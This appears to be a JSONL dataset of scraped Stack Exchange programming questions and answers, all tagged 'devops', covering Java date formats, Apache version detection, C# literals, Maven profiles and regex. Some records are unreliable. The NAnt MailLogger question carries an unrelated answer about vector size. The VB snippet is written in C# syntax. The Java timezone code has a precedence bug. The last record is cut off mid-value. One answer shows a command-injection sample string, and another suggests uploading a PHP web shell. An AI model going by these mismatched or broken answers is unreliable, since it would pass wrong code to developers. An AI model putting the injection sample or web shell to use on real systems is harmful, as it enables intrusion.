{"id": "hf_803a9c3dd9de", "question": "<p>In java, when using SimpleDateFormat with the pattern:</p>\n\n<pre><code>yyyy-MM-dd'T'HH:mm:ss.SSSZ\n</code></pre>\n\n<p>the date is outputted as:</p>\n\n<pre><code>\"2002-02-01T18:18:42.703-0700\"\n</code></pre>\n\n<p>In xquery, when using the xs:dateTime function, it gives the error:</p>\n\n<pre><code>\"Invalid lexical value [err:FORG0001]\"\n</code></pre>\n\n<p>with the above date. In order for xquery to parse properly, the date needs to look like:</p>\n\n<pre><code>\"2002-02-01T18:18:42.703-07:00\" - node the ':' 3rd position from end of string\n</code></pre>\n\n<p>which is based on the ISO 8601, whereas Java date is based on the RFC 822 standard.</p>\n\n<p>I would like to be able to easily specify the timezone in Java so that it will output the way that xquery wants.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Try this:\n```\n```\nstatic public String formatISO8601(Calendar cal) {\nMessageFormat format = new MessageFormat(\"{0,time}{1,number,+00;-00}:{2,number,00}\");\n\nDateFormat df = new SimpleDateFormat(\"yyyy-MM-dd'T'HH:mm:ss\");\ndf.setTimeZone(cal.getTimeZone());\nformat.setFormat(0, df);\n\nlong zoneOff = cal.get(Calendar.ZONE_OFFSET) + cal.get(Calendar.DST_OFFSET) / 60000L;\nint zoneHrs = (int) (zoneOff / 60L);\nint zoneMins = (int) (zoneOff % 60L);\nif (zoneMins < 0)\n    zoneMins = -zoneMins;\n\nreturn (format.format(new Object[] { cal.getTime(), new Integer(zoneHrs), new Integer(zoneMins) }));\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:29.981473"}
{"id": "hf_5ecbdd6dba93", "question": "<p>I need to either find a file in which the version is encoded or a way of polling it across the web so it reveals its version. The server is running at a host who will not provide me command line access, although I can browse the install location via FTP.</p>\n\n<p>I have tried HEAD and do not get a version number reported.</p>\n\n<p>If I try a missing page to get a 404 it is intercepted, and a stock page is returned which has no server information on it. I guess that points to the server being hardened.</p>\n\n<p>Still no closer...</p>\n\n<p>I put a PHP file up as suggested, but I can't browse to it and can't quite figure out the URL path that would load it. In any case I am getting plenty of access denied messages and the same stock 404 page. I am taking some comfort from knowing that the server is quite robustly protected.</p>\n", "question_body": "", "answer": "The method\nConnect to port 80 on the host and send it\n```\n```\nHEAD / HTTP/1.0\n```\n```\nThis needs to be followed by carriage-return + line-feed twice\nYou'll get back something like this\n```\n```\nHTTP/1.1 200 OK\nDate: Fri, 03 Oct 2008 12:39:43 GMT\nServer: Apache/2.2.9 (Ubuntu) DAV/2 SVN/1.5.0 PHP/5.2.6-1ubuntu4 with Suhosin-Patch mod_perl/2.0.4 Perl/v5.10.0\nLast-Modified: Thu, 02 Aug 2007 20:50:09 GMT\nETag: \"438118-197-436bd96872240\"\nAccept-Ranges: bytes\nContent-Length: 407\nConnection: close\nContent-Type: text/html; charset=UTF-8\n```\n```\nYou can then extract the apache version from the Server: header\nTypical tools you can use\nYou could use the HEAD utility which comes with a full install of Perl's\nLWP\nlibrary, e.g.\n```\n```\nHEAD http://your.webserver.com/\n```\n```\nOr, use the\ncurl\nutility, e.g.\n```\n```\ncurl --head http://your.webserver.com/\n```\n```\nYou could also use a browser extension which lets you view server headers, such as\nLive HTTP Headers\nor\nFirebug\nfor Firefox, or\nFiddler\nfor IE\nStuck with Windows?\nFinally. if you're on Windows, and have nothing else at your disposal, open a command prompt (Start Menu->Run, type \"cmd\" and press return), and then type this\n```\n```\ntelnet your.webserver.com 80\n```\n```\nThen type (carefully, your characters won't be echoed back)\n```\n```\nHEAD / HTTP/1.0\n```\n```\nPress return twice and you'll see the server headers.\nOther methods\nAs mentioned by cfeduke and Veynom, the server may be set to return limited information in the Server: header. Try and upload a PHP script to your host with this in it\n```\n```\n<?php phpinfo() ?>\n```\n```\nRequest the page with a web browser and you should see the Apache version reported there.\nYou could also try and use\nPHPShell\nto have a poke around, try a command like\n```\n```\n/usr/sbin/apache2 -V\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:30.004965"}
{"id": "hf_4272a8fb377f", "question": "<p>I am currently plowing my way through <a href=\"http://www-128.ibm.com/developerworks/edu/os-dw-os-php-cake1.html\" rel=\"nofollow noreferrer\">IBM's tutorial on CakePHP</a></p>\n\n<p>At one point I run into this snippet of code:</p>\n\n<pre><code>&lt;?php\nclass Dealer extends AppModel {\n    var $name = 'Dealer';\n    var $hasMany = array (\n        'Product' =&gt; array(\n            'className' =&gt; 'Product',\n            'conditions'=&gt;, // is this allowed?\n            'order'=&gt;, // same thing here\n            'foreignKey'=&gt;'dealer_id'\n        )\n    );\n}\n?&gt;\n</code></pre>\n\n<p>When I run it I get the following error-message: \"Parse error: syntax error, unexpected ',' in /Applications/MAMP/htdocs/cakephp/app/models/product.php on line 7\"</p>\n\n<p>I'm a n00b at PHP so my question is: is it allowed to make an array with keys without assigned values? Has anybody played around with this tut and know what is up?</p>\n", "question_body": "", "answer": "It is legal, though as far as I'm aware, you have to explicitly say it's 'empty' by assigning null to it,\n```\n```\n$hasMany = array ('Product' => array(\n'className' => 'Product',\n'conditions'=> null, // is this allowed?\n'order'=> null, // same thing here\n'foreignKey'=>'dealer_id'));\n```\n```\nThe example you've given sounds very wrong, and probably shouldn't work, as it isn't.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:30.032895"}
{"id": "hf_a193efca746c", "question": "<p>I want to insert 'n' spaces (or any string) at the beginning of a string in C++. Is there a direct way to do this using either std::strings or char* strings?</p>\n<p>E.g., in Python you could simply do</p>\n<pre><code>&gt;&gt;&gt; &quot;.&quot; * 5 + &quot;lolcat&quot;\n'.....lolcat'\n</code></pre>\n", "question_body": "", "answer": "In the particular case of repeating a single character, you can use\n```\nstd::string(size_type count, CharT ch)\n```\n:\n```\n```\nstd::string(5, '.') + \"lolcat\"\n```\n```\nThis can't be used to repeat multi-character strings.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:30.079930"}
{"id": "hf_520a4fd931ce", "question": "<p>Currently, I'm in the process of hiring a web developer who will be working on a site that processes credit cards. While he won't have the credentials to log into the payment gateway's UI he will have access to the API login and transaction key since it's embedded in the application's code.</p>\n\n<p>I'd like to be aware of all the \"what if\" scenarios pertaining to the type of damage one could do with that information. Obviously, he can process credit cards but the money goes into the site owner's bank account so I'm not sure how much damage that could cause. Can anyone think of any other possible scenarios?</p>\n\n<p>UPDATE: The payment gateway being used is Authorize.net.</p>\n", "question_body": "", "answer": "If the developer gets access to the raw credit card numbers that can become a bigger problem as your site can be associated with fraudulent activity, assuming the developer is a bad apple.  (They could redirect account numbers, CCV, expiration date to another site, though this should be spottable through network tools and a comprehensive code review.)\nDoes the API perform the \"$1.00\" charge (or \"$X.XX\") to verify that a credit card can be charged a certain amount (and thus returning the result to the caller, such as \"yes\" or \"no\")?  If so, it could be used to automate the validation of credit card account numbers traded on the Internet and abuse of such a system could lead back to you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:30.104012"}
{"id": "hf_3444f2e38bc2", "question": "<p>In the following example should I expect that <code>values.size()</code> will be called every time around the loop? In which case it might make sense to introduce a temporary <code>vectorSize</code> variable. Or should a modern compiler be able to optimize the calls away by recognising that the vector size cannot change.</p>\n\n<pre><code>double sumVector(const std::vector&lt;double&gt;&amp; values) {\n    double sum = 0.0;\n    for (size_t ii = 0; ii &lt; values.size(); ++ii) {\n        sum += values.at(ii);\n    }\n}\n</code></pre>\n\n<p>Note that I don't care if there are more efficient methods to sum the contents of a vector, this question is just about the use of size() in a for construct.</p>\n", "question_body": "", "answer": "It all depends on what the vector's size implementation is, how aggressive the compiler is and if it listen/uses to inline directives.\nI would be more defensive and introduce the temporary as you don't have any guarantees about how efficient your compiler will be.\nOf course, if this routine is called once or twice and the vector is small, it really doesn't matter.\nIf it will be called thousands of times, then I would use the temporary.\nSome might call this premature optimization, but I would tend to disagree with that assessment.\nWhile you are trying to optimize the code, you are not investing time or obfuscating the code in the name of performance.\nI have a hard time considering what is a refactoring to be an optimization.  But in the end, this is along the lines of \"you say tomato, I say tomato\"...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:30.127387"}
{"id": "hf_4a650e05e541", "question": "<p>I am using <a href=\"http://nant.sourceforge.net/release/0.85-rc2/help/fundamentals/listeners.html#MailLogger\" rel=\"nofollow noreferrer\">MailLogger</a> to send a message about a failed/successful release. I would like to make the mail body simple and easy to read. How can I suppress output for some particular tasks?</p>\n", "question_body": "", "answer": "It all depends on what the vector's size implementation is, how aggressive the compiler is and if it listen/uses to inline directives.\nI would be more defensive and introduce the temporary as you don't have any guarantees about how efficient your compiler will be.\nOf course, if this routine is called once or twice and the vector is small, it really doesn't matter.\nIf it will be called thousands of times, then I would use the temporary.\nSome might call this premature optimization, but I would tend to disagree with that assessment.\nWhile you are trying to optimize the code, you are not investing time or obfuscating the code in the name of performance.\nI have a hard time considering what is a refactoring to be an optimization.  But in the end, this is along the lines of \"you say tomato, I say tomato\"...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:30.153307"}
{"id": "hf_e3d2b64c36c7", "question": "<p>I would like to know what kind of toolkits, languages, libraries exist for agent-based modeling and what are the pros/cons of them?</p>\n\n<p>Some examples of what I am thinking of are\n<a href=\"http://www.swarm.org\" rel=\"noreferrer\">Swarm</a>, <a href=\"http://repast.sourceforge.net/\" rel=\"noreferrer\">Repast</a>, and <a href=\"http://www.aitia.hu/services_and_products/simulation_systems/mass\" rel=\"noreferrer\">MASS</a>.</p>\n", "question_body": "", "answer": "I got introduced to\nDramatis\nat OSCON 2008, it is an Agent based framework for Ruby and Python.  The author (Steven Parkes) has some references in his blog and is working at running a language agnostic\nActors discussion list\n.\nThis page\nat erights.org has a great set of references to, what I think are, the core papers that introduce and explore the Actors message passing model.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:30.177240"}
{"id": "hf_171b1a09d07c", "question": "<p>I know I can cycle through my tabs using cmd+{ or cmd+}, but is it possible to select a specific tab (i.e. cmd+3 for the third tab in iTerm) in Leopards' Terminal.app? </p>\n", "question_body": "", "answer": "Yes it is, you use Command-1, Command-2 etc.\nHave a look under the\nWindow\nmenu, and you'll see the windows listed with their shortcut equivalent. (The 'clover-leaf' is the symbol for the Command key - also known as the Apple key.)\nMy apologies - missed the fact you were referring to Tabs first time around. I don't believe there is any other keyboard shortcut to switch between Tabs beyond Cmd-{ and }. Perhaps if that's important, don't group them in the first place? Leave them as separate windows?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:30.213769"}
{"id": "hf_4387637f50cd", "question": "<p>I have noticed that some apps like Safari and Mail show a loading indicator in the status bar (the bar at the very top of the phone) when they are accessing the network. Is there a way to do the same thing in SDK apps, or is this an Apple only thing?</p>\n", "question_body": "", "answer": "It's in UIApplication:\nFor Objective C:\nStart:\n```\n```\n[UIApplication sharedApplication].networkActivityIndicatorVisible = YES;\n```\n```\nEnd:\n```\n```\n[UIApplication sharedApplication].networkActivityIndicatorVisible = NO;\n```\n```\nFor swift :\nStart\n```\n```\nUIApplication.shared.isNetworkActivityIndicatorVisible = true\n```\n```\nEnd\n```\n```\nUIApplication.shared.isNetworkActivityIndicatorVisible = false\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:30.249993"}
{"id": "hf_c2f3fcbb53b9", "question": "<p>I've got a byte() array returned as result of directx sound capture, but for other parts of my program I want to treat the results as single(). Is trundling down the array item by item the fastest way of doing it or is there a clever way to do it ? </p>\n\n<p>The code that gets it is</p>\n\n<pre><code>CType(Me._applicationBuffer.Read(Me._nextCaptureOffset, GetType(Byte), LockFlag.None, LockSize), Byte())\n</code></pre>\n\n<p>which creates the byte array, can Ctype handle single ? (note, I can't figure out a way to  do it!)</p>\n", "question_body": "", "answer": "Try\n```\n```\nfloat f = BitConverter.ToSingle(bytearray, 0);\n```\n```\nIn VB (I think):\n```\n```\nDim single s;\ns = BitConverter.ToSingle(bytearray, 0);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:30.298340"}
{"id": "hf_aa2ddcf97a2b", "question": "<p>Does anyone know the full list of C# compiler number literal modifiers?</p>\n\n<p>By default declaring '0' makes it an Int32 and '0.0' makes it a 'Double'. I can use the literal modifier 'f' at the end to ensure something is treated as a 'Single' instead. For example like this...</p>\n\n<pre><code>var x = 0;    // x is Int32\nvar y = 0f;   // y is Single\n</code></pre>\n\n<p>What are the other modifiers I can use? Is there one for forcing to Double, Decimal, UInt32? I tried googling for this but could not find anything. Maybe my terminology is wrong and so that explains why I am coming up blank. Any help much appreciated.</p>\n", "question_body": "", "answer": "```\n```\nvar y = 0f; // y is single\nvar z = 0d; // z is double\nvar r = 0m; // r is decimal\nvar i = 0U; // i is unsigned int\nvar j = 0L; // j is long (note capital L for clarity)\nvar k = 0UL; // k is unsigned long (note capital L for clarity)\n```\n```\nFrom the\nC# specification\n2.4.4.2 Integer literals and 2.4.4.3 Real literals. Take note that L and UL are preferred as opposed to their lowercase variants for clarity as recommended by\nJon Skeet\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:30.358787"}
{"id": "hf_ca9d07dae0b5", "question": "<p>Suppose I have a base class B, and a derived class D.  I wish to have a method foo() within my base class that returns a new object of whatever type the instance is.  So, for example, if I call B.foo() it returns an object of type B, while if I call D.foo() it returns an object of type D; meanwhile, the implementation resides solely in the base class B.</p>\n\n<p>Is this possible?</p>\n", "question_body": "", "answer": "As long as each class has a default constructor:\n```\n```\npublic B instance() throws Exception {\n        return getClass().newInstance();\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:30.435518"}
{"id": "hf_1bbfb4412e6d", "question": "<p>I wonder, why the hell... did the VS team consider that NOT finding a project reference as a non crucial thing?</p>\n\n<p>The referenced component 'X' could not be found. should be considered an error... and nothing else.</p>\n\n<p><strong>Is there a way (without turning 'Treat all warnings as errors' on) to get this warning as an error in VS2008?</strong></p>\n", "question_body": "", "answer": "That warning comes from the project system, not the compiler.  The project system doesn't know whether or not the reference will actually be needed when the code is compiled.  I've run into several cases (all involving multiple platforms and conditional compilation) where this features allows you to maintain a single project file when you might otherwise have to split into one file per configuration.\nThere is an option to \"treat warnings as errors\" -- you should be able to find it in the project configuration screen.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:30.459566"}
{"id": "hf_d252dba1084b", "question": "<p>I'm working on an integration testing project in .NET. The testing framework executable starts a service and then needs to wait for the service to complete an operation.</p>\n\n<p>What is the best approach for the exe to wait on the service to complete its task (the service itself will not exit upon task completion)?</p>\n\n<p>Both processes have access to the same database, so my first thought was a simple table that records the service's status. Once it's signaled that it's done, the exe can stop waiting and complete its task. Other approaches?</p>\n\n<p>Let me reiterate that the service, once it has completed its task, will remain in a running/in-memory state, so waiting for it to exit won't work. ;-)</p>\n\n<p>Also, this is purely for integration testing purposes, and will never go into production, so \"simple\" is the operative word.</p>\n", "question_body": "", "answer": "You could use IPC Channels:\nhttps://web.archive.org/web/1/http://articles.techrepublic%2ecom%2ecom/5100-10878_11-6143016.html\nOr maybe two way remoting:\nhttp://www.codeproject.com/KB/IP/TwoWayRemoting.aspx\nThe database route would be\nsimple\n, but not necessarily the best.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:30.520754"}
{"id": "hf_d4837783b4a8", "question": "<p>What is the PHP preg_replace in C#?</p>\n\n<p>I have an array of string that I would like to replace by an other array of string. Here is an example in PHP. How can I do something like that in C# without using .Replace(\"old\",\"new\").</p>\n\n<pre><code>$patterns[0] = '/=C0/';\n$patterns[1] = '/=E9/';\n$patterns[2] = '/=C9/';\n\n\n$replacements[0] = 'à';\n$replacements[1] = 'é';\n$replacements[2] = 'é';\nreturn preg_replace($patterns, $replacements, $text);\n</code></pre>\n", "question_body": "", "answer": "You are looking for\n```\nSystem.Text.RegularExpressions\n```\n;\n```\n```\nusing System.Text.RegularExpressions;\n\nRegex r = new Regex(\"=C0\");\nstring output = r.Replace(text);\n```\n```\nTo get PHP's array behaviour the way you have you need multiple instances of `Regex\nHowever, in your example, you'd be much better served by .Replace(old, new), it's much faster than compiling state machines.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:30.545006"}
{"id": "hf_dc55d8a5b30f", "question": "<blockquote>\n  <p><strong>Possible Duplicate:</strong><br>\n  <a href=\"https://stackoverflow.com/questions/76760/vs2008-setup-project-shared-by-all-users-application-data-files\">VS2008 Setup Project: Shared (By All Users) Application Data Files?</a>  </p>\n</blockquote>\n\n\n\n<p>Please can someone advice what is the best place (path) to put some application data which should be accessible and editable by all users.</p>\n\n<p>This is considering both Windows XP and Windows Vista and i expect that change in any file of above path does NOT trigger UAC!</p>\n", "question_body": "", "answer": "```\n```\nEnvironment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData)\n```\n```\nShould resolve to C:\\Documents and Settings\\All Users\\Application Data\\\nFrom there, make subfolders such as MyCompany\\MyApp", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:30.569487"}
{"id": "hf_d2d3e9a7a8a6", "question": "<p>Is it possible to have a different set of dependencies in a maven pom.xml file for different profiles?</p>\n\n<p>e.g.</p>\n\n<pre><code>mvn -P debug\nmvn -P release\n</code></pre>\n\n<p>I'd like to pick up a different dependency jar file in one profile that has the same class names and different implementations of the same interfaces.</p>\n", "question_body": "", "answer": "To quote the\nMaven documentation on this\n:\nA profile element contains both an optional activation (a profile trigger) and the set of changes to be made to the POM if that profile has been activated. For example, a project built for a test environment may point to a different database than that of the final deployment.\nOr dependencies may be pulled from different repositories based upon the JDK version used\n.\n(Emphasis is mine)\nJust put the dependency for the\n```\nrelease\n```\nprofile inside the profile declaration itself and do the same for\n```\ndebug\n```\n.\n```\n<profiles>\n    <profile>\n        <id>debug</id>\n        …\n        <dependencies>\n            <dependency>…</dependency>\n        </dependencies>\n        …\n    </profile>\n    <profile>\n        <id>release</id>\n        …\n        <dependencies>\n            <dependency>…</dependency>\n        </dependencies>\n        …\n    </profile>\n</profiles>\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:30.605719"}
{"id": "hf_e7ae068d64f4", "question": "<p>I have a problem similar to the one found here : <a href=\"https://stackoverflow.com/questions/86531/jsf-selectitem-label-formatting\">JSF selectItem label formatting</a>. </p>\n\n<p>What I want to do is to accept a double as a value for my  and display it with two decimals. Can this be done in an easy way? </p>\n\n<p>I've tried using  but that seems to be applied on the value from the inputText that is sent to the server and not on the initial value in the input field.</p>\n\n<p>My code so far:</p>\n\n<pre><code>&lt;h:inputText id=\"december\" value=\"#{budgetMB.december}\" onchange=\"setDirty()\" styleClass=\"StandardBlack\"&gt;\n    &lt;f:convertNumber maxFractionDigits=\"2\" groupingUsed=\"false\" /&gt;\n&lt;/h:inputText&gt;\n</code></pre>\n\n<p>EDIT: The above code actually works. I was fooled by JDeveloper that didn't update the jsp page even when I did a explicit rebuild of my project and restarted the embedded OC4J server. However, after a reboot of my computer everything was fine. </p>\n", "question_body": "", "answer": "If I'm not misunderstanding your requirement, I was able to achieve formatting of the value in the input box during the rendering of the view with:\n```\n```\n<h:inputText id=\"text1\" value=\"#{...}\">\n    <f:convertNumber pattern=\"#,###,##0.00\"/>\n</h:inputText>\n```\n```\nI was using the Standard Faces Components in my vendor-branded Eclipse so I'm assuming the\n```\npattern\n```\nattribute is part of standard JSF.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:30.629047"}
{"id": "hf_39d24aae5f2a", "question": "<p>I have a Python script I recently wrote that I call using the command line with some options. I now want a very thin web interface to call this script locally on my Mac.</p>\n\n<p>I don't want to go through the minor trouble of installing mod_python or mod_wsgi on my Mac, so I was just going to do a system() or popen() from PHP to call the Python script.</p>\n\n<p>Any better ideas? Thanks in advance!</p>\n", "question_body": "", "answer": "Depending on what you are doing,\nsystem()\nor\npopen()\nmay be perfect.  Use system() if the Python script has no output, or if you want the Python script's output to go directly to the browser.  Use popen() if you want to write data to the Python script's standard input, or read data from the Python script's standard output in php.  popen() will only let you read or write, but not both.  If you want both, check out\nproc_open()\n, but with two way communication between programs you need to be careful to avoid deadlocks, where each program is waiting for the other to do something.\nIf you want to pass user supplied data to the Python script, then the big thing to be careful about is command injection.  If you aren't careful, your user could send you data like \"; evilcommand ;\" and make your program execute arbitrary commands against your will.\nescapeshellarg()\nand\nescapeshellcmd()\ncan help with this, but personally I like to remove everything that isn't a known good character, using something like\n```\n```\npreg_replace('/[^a-zA-Z0-9]/', '', $str)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:30.669410"}
{"id": "hf_16706cd5f014", "question": "<p>I generally stay away from <code>regular expressions</code> because I seldom find a good use for them. But in this case, I don't think I have choice.  </p>\n\n<p>I need a regex for the following situation.  I will be looking at three character strings. It will be a match if the first character is <code>1-9 or the letters o,n,d (lower or upper)</code>  AND the second character is <code>1,2 or 3</code> and the third character is <code>0-9</code>.</p>\n\n<p>Can anybody help me out?</p>\n", "question_body": "", "answer": "```\n```\n[1-9ondOND][123][0-9]\n```\n```\nI omitted the\n```\n^\n```\nand\n```\n$\n```\n(beginning and end of string markers) because you said you'd have three-character strings, but there's no harm in including them, and they may improve speed, not that that'll be a big deal on such short input.\nOf course, this assumes you're working in a language and locale where the uppercase equivalent of\n```\no\n```\n,\n```\nn\n```\n, and\n```\nd\n```\nare\n```\nO\n```\n,\n```\nN\n```\n, and\n```\nD\n```\n. If not, you'll need to tell your regex interpreter to ignore case. The mechanism varies by language/framework.\nFor python, you'd use something like:\n```\n```\nre.match('[1-9ond][123][0-9]', inputstring, re.IGNORECASE)\n```\n```\nThe\n```\nre.match\n```\nforces a match at the beginning of string, so you wouldn't need the\n```\n^\n```\nin any case.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:30.742583"}
{"id": "hf_25a12a3ebd60", "question": "<p>Our team (5-10 developers)  plans to <strong>adopt Subversion</strong> for our .NET (Visual Studio) projects/solutions (VisualSVN Server, TortoiseSVN / VisualSVN).</p>\n\n<p>What is the best way to <strong>organize a new repository tree</strong>? Is it okay to use <em>one big repository</em> or is it better to create <em>different repositories</em> for every solution / product line etc.?</p>\n\n<p>Our projects can be categorized this way (example):</p>\n\n<ul>\n<li>Main Product Line\n\n<ul>\n<li>Main Web App\n\n<ul>\n<li>Library 1</li>\n<li>Library 2</li>\n<li>...</li>\n</ul></li>\n<li>Windows Client</li>\n<li>Another Windows Client </li>\n<li>Windows Service </li>\n</ul></li>\n<li>Tools\n\n<ul>\n<li>Tool A</li>\n<li>Tool B</li>\n</ul></li>\n<li>Product Line 2\n\n<ul>\n<li>Software 1</li>\n<li>Software 2</li>\n</ul></li>\n<li>Product Line 3\n\n<ul>\n<li>App 1</li>\n<li>App 2</li>\n</ul></li>\n</ul>\n", "question_body": "", "answer": "We use one big repository, and just have everything structured in subfolders (/project1, /project2 etc) and that seems to work fine.\nThe Apache project has a\nhuge svn repository\nand it seems to do OK for them! :)\nIn terms of organisation, the structure you gave looks quite reasonable. I think anything goes, pretty much, so long as it's rational (i.e. mixing up every single tool with every single project is probably a bad idea etc). So pick something which works for you (tools/, projects/ etc). Subversion has pretty good support for moving things around in the repository, too, so you can always change if necessary.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:30.792194"}
{"id": "hf_0c304aea2eb6", "question": "<p>I have a need to display many numerical values in columns. These values need to be easily editable so I cannot just display them in a table. I am using textboxes to display them. Is there a way for me to right-justify the text displayed in a textbox? It would also be nice if when the user is entering data for it to start displaying what they type from the right.</p>\n", "question_body": "", "answer": "Did you try setting the style:\n```\n```\ninput {\n    text-align:right;\n}\n```\n```\nJust tested, this works fine (in FF3 at least):\n```\n```\n<html>\n    <head>\n        <title>Blah</title>\n        <style type=\"text/css\">\n        input { text-align:right; }\n        </style>\n    </head>\n    <body>\n        <input type=\"text\" value=\"2\">\n    </body>\n</html>\n```\n```\nYou'll probably want to throw a class on these inputs, and use that class as the selector.  I would shy away from \"rightAligned\" or something like that.  In a class name, you want to describe what the element's function is, not how it should be rendered.  \"numeric\" might be good, or perhaps the business function of the text boxes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:30.833684"}
{"id": "hf_e8ddac01f10f", "question": "<p>Does anyone know the API call I can use to change the keyboard layout on a windows machine to Dvorak?  Doing it through the UI is easy but I'd like to have a script that I can run on new VM's to automate the process.  </p>\n", "question_body": "", "answer": "You can do this via the registry.  Just save it as a .reg file, and open it on the new VM.  I believe this should do it for remapping to Dvorak:\n```\n```\n[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Keyboard Layout]\n\"ScanCode Map\"=hex:00,00,00,00,00,00,00,00,22,00,00,00,2d,00,30,00,24,00,2e,00,\\\n11,00,33,00,33,00,11,00,12,00,20,00,34,00,12,00,1b,00,0d,00,0d,00,1b,00,16,\\\n00,21,00,17,00,22,00,20,00,23,00,1a,00,0c,00,2e,00,17,00,23,00,24,00,14,00,\\\n25,00,31,00,26,00,35,00,1a,00,30,00,31,00,13,00,18,00,26,00,19,00,2f,00,34,\\\n00,28,00,10,00,0c,00,28,00,19,00,13,00,18,00,1f,00,1f,00,27,00,2c,00,35,00,\\\n15,00,14,00,22,00,16,00,25,00,2f,00,10,00,2d,00,21,00,15,00,27,00,2c,00,00,\\\n00,00,00\n```\n```\nAnd if you want to go back:\n```\n```\n[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Keyboard Layout]\n\"ScanCode 